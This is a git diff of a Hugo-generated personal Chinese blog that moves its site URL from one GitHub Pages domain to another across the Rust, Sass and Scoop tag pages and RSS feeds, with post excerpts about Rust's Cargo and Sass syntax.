         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/rust/index.xml b/tags/rust/index.xml
index 3885093c..4b6ff055 100644
--- a/tags/rust/index.xml
+++ b/tags/rust/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Rust on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/rust/</link>
+    <link>https://chenjunlinabc.github.io/tags/rust/</link>
     <description>Recent content in Rust on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Mon, 28 Mar 2022 13:22:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/rust/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Mon, 28 Mar 2022 13:22:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/rust/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>Rust学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/142/</link>
+      <link>https://chenjunlinabc.github.io/posts/142/</link>
       <pubDate>Mon, 28 Mar 2022 13:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/142/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/142/</guid>
       <description>Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会
 安装
 官方推荐使用Rustup来安装（Rustup是rust的安装器和版本管理工具）
@@ -43,7 +43,7 @@ cargo new halloword
 其中Cargo.toml文件是项目的依赖库文件
 通过编辑Cargo.toml文件来添加依赖
 rust依赖可通过https://crates.io/查找
-[package]
name = &amp;quot;hallo_word&amp;quot;
version = &amp;quot;0.0.1&amp;quot;
edition = &amp;quot;2021&amp;quot;
[dependencies]
hyper = &amp;quot;0.14.20&amp;quot; # 来自https://crates.io/
# hyper = { git = &amp;quot;https://github.com/hyperium/hyper&amp;quot; } # 来自第三方社区
# hyper = { path = &amp;quot;.</description>
+[package] name = &amp;quot;hallo_word&amp;quot; version = &amp;quot;0.0.1&amp;quot; edition = &amp;quot;2021&amp;quot; [dependencies] hyper = &amp;quot;0.14.20&amp;quot; # 来自https://crates.io/ # hyper = { git = &amp;quot;https://github.com/hyperium/hyper&amp;quot; } # 来自第三方社区 # hyper = { path = &amp;quot;.</description>
     </item>
     
   </channel>
diff --git a/tags/rust/page/1/index.html b/tags/rust/page/1/index.html
index 03cc1f00..25a9b919 100644
--- a/tags/rust/page/1/index.html
+++ b/tags/rust/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/rust/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/rust/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/rust/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/rust/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/rust/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/rust/"></head></html>
\ No newline at end of file
diff --git a/tags/sass/index.html b/tags/sass/index.html
index 9888cb46..be16bab9 100644
--- a/tags/sass/index.html
+++ b/tags/sass/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Sass | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/sass/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/sass/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Sass"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/sass/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Sass"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Sass</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>CSS预处理器-Sass学习笔记</h2></header><div class=entry-content><p>sass是一门css扩展语言，css预处理器
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Sass | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/sass/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/sass/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Sass"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/sass/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Sass"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Sass</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>CSS预处理器-Sass学习笔记</h2></header><div class=entry-content><p>sass是一门css扩展语言，css预处理器
 sass是基于ruby语言开发，在前端中可以使用npm安装
 npm install node-sass或者npm install node-sass –save-dev
 当然也可以安装ruby，通过gem托管服务进行安装sass
@@ -28,22 +28,10 @@
 第二种注释，不会编译到编译后的css文件中
 第三种注释，是表示重要注释，就算就是压缩编译，也会保留这个注释，一般用来声明版权
 变量
-$color: #ccc;
-#app{
-color: $color;
-}
-变量也可以嵌套到属性中
-$right: right;
-#app{
-margin-#{$right}: 50px;
-}
-运算
+$color: #ccc; #app{ color: $color; } 变量也可以嵌套到属性中
+$right: right; #app{ margin-#{$right}: 50px; } 运算
 允许使用加减乘除运算
-#app{
-width: 100px + 20px;
-height: (300px / 3) * 2;
-}
-嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：...</p></div><footer class=entry-footer><span title='2021-07-02 08:44:00 +0000 UTC'>2021-07-02</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to CSS预处理器-Sass学习笔记" href=https://xiaochenabc123.github.io/posts/51/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+#app{ width: 100px + 20px; height: (300px / 3) * 2; } 嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：...</p></div><footer class=entry-footer><span title='2021-07-02 08:44:00 +0000 UTC'>2021-07-02</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to CSS预处理器-Sass学习笔记" href=https://chenjunlinabc.github.io/posts/51/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/sass/index.xml b/tags/sass/index.xml
index c97c48a8..79c566e9 100644
--- a/tags/sass/index.xml
+++ b/tags/sass/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Sass on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/sass/</link>
+    <link>https://chenjunlinabc.github.io/tags/sass/</link>
     <description>Recent content in Sass on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Fri, 02 Jul 2021 08:44:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/sass/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Fri, 02 Jul 2021 08:44:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/sass/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>CSS预处理器-Sass学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/51/</link>
+      <link>https://chenjunlinabc.github.io/posts/51/</link>
       <pubDate>Fri, 02 Jul 2021 08:44:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/51/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/51/</guid>
       <description>sass是一门css扩展语言，css预处理器
 sass是基于ruby语言开发，在前端中可以使用npm安装
 npm install node-sass或者npm install node-sass &amp;ndash;save-dev
@@ -48,10 +48,10 @@ sass &amp;ndash;watch sass/style.scss:css/style.css
 第二种注释，不会编译到编译后的css文件中
 第三种注释，是表示重要注释，就算就是压缩编译，也会保留这个注释，一般用来声明版权
 变量
-$color: #ccc;
#app{
color: $color;
}
变量也可以嵌套到属性中
-$right: right;
#app{
margin-#{$right}: 50px;
}
运算
+$color: #ccc; #app{ color: $color; } 变量也可以嵌套到属性中
+$right: right; #app{ margin-#{$right}: 50px; } 运算
 允许使用加减乘除运算
-#app{
width: 100px + 20px;
height: (300px / 3) * 2;
}
嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：</description>
+#app{ width: 100px + 20px; height: (300px / 3) * 2; } 嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：</description>
     </item>
     
   </channel>
diff --git a/tags/sass/page/1/index.html b/tags/sass/page/1/index.html
index 394916fa..f3a24886 100644
--- a/tags/sass/page/1/index.html
+++ b/tags/sass/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/sass/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/sass/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/sass/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/sass/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/sass/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/sass/"></head></html>
\ No newline at end of file
diff --git a/tags/scoop/index.html b/tags/scoop/index.html
index d0eb8468..53f43906 100644
--- a/tags/scoop/index.html
+++ b/tags/scoop/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>scoop | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/scoop/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/scoop/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="scoop"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/scoop/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="scoop"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>scoop</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Scoop包管理器</h2></header><div class=entry-content><p>Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>scoop | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/scoop/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml 